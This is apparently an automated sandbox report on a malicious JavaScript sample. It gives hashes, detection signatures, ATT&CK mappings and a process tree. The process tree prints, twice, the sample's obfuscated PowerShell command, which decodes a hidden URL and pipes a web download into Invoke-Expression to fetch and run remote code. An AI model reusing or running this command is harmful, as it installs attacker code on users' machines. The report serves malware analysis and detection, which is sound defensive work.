d22ada64365624f6833637332c6362f81987ff68b433b3f28b3f708052b6288b

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 15:10

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General

Target

4cce56ad9f92d0f9df0139744bbe7b736a65b06403ded9390e5cb4aa7dd08d8b.js
Size

204KB
MD5

8c2d27caa5fad50df9bed345ce5682f5
SHA1

a083f425e982b7e04b76a8a1bdbdde164ae8c5f7
SHA256

4cce56ad9f92d0f9df0139744bbe7b736a65b06403ded9390e5cb4aa7dd08d8b
SHA512

b2dbaffe8663a6d45bf440df3de3b92a09fea2783f53ae6bc00f9fe88a6ba35d7974b34964a23f56eedc732dc0ca88dae4df0c8a7bc5c262e1bac7e46469281d
SSDEEP

1536:nw0YnM2nAvLwY9DJfXFmk6Em9F/cnM2nAvLwY9DJfXRmk6Em9F/+mk6Em9F/rnMk:n5EI50EKEI54EyEZEI5pEI5+

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2276	336	conhost.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	552	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
552	powershell.exe
552	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	552	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2276 wrote to memory of 552	2276	conhost.exe	84
PID 2276 wrote to memory of 552	2276	conhost.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4cce56ad9f92d0f9df0139744bbe7b736a65b06403ded9390e5cb4aa7dd08d8b.js
1⤵
PID:3484

C:\Windows\system32\conhost.exe
conhost --headless powershell $vhmegwcdpan='ur' ;new-alias printout c$($vhmegwcdpan)l;$widfqsvemz=(1793,1804,1812,1796,1798,1793,1813,1812,1817,1750,1812,1746,1793,1741,1811,1806,1807,1742,1744,1741,1807,1799,1807,1758,1810,1756,1804,1800,1805,1811,1810,1745,1744);$vcdrqn=('bronx','get-cmdlet');$crbpiejdwyo=$widfqsvemz;foreach($mndrizyxhl in $crbpiejdwyo){$skzpcryjlnqavt=$mndrizyxhl;$gznqtkbi=$gznqtkbi+[char]($skzpcryjlnqavt-1695);$ewrmozclygp=$gznqtkbi; $ivydqlgokuh=$ewrmozclygp};$lucwbgtkp[2]=$ivydqlgokuh;$bvsqpoxh='rl';$lhvqodutgkcrj=1;.$([char](9992-9887)+'e'+'x')(printout -useb $ivydqlgokuh)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $vhmegwcdpan='ur' ;new-alias printout c$($vhmegwcdpan)l;$widfqsvemz=(1793,1804,1812,1796,1798,1793,1813,1812,1817,1750,1812,1746,1793,1741,1811,1806,1807,1742,1744,1741,1807,1799,1807,1758,1810,1756,1804,1800,1805,1811,1810,1745,1744);$vcdrqn=('bronx','get-cmdlet');$crbpiejdwyo=$widfqsvemz;foreach($mndrizyxhl in $crbpiejdwyo){$skzpcryjlnqavt=$mndrizyxhl;$gznqtkbi=$gznqtkbi+[char]($skzpcryjlnqavt-1695);$ewrmozclygp=$gznqtkbi; $ivydqlgokuh=$ewrmozclygp};$lucwbgtkp[2]=$ivydqlgokuh;$bvsqpoxh='rl';$lhvqodutgkcrj=1;.$([char](9992-9887)+'e'+'x')(printout -useb $ivydqlgokuh)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iu0fme3n.4u5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/552-0-0x00007FFCFD083000-0x00007FFCFD085000-memory.dmp

Filesize
8KB

Download
memory/552-1-0x0000018FCB490000-0x0000018FCB4B2000-memory.dmp

Filesize
136KB

Download
memory/552-11-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/552-12-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/552-13-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/552-14-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/552-15-0x00007FFCFD083000-0x00007FFCFD085000-memory.dmp

Filesize
8KB

Download
memory/552-16-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/552-19-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download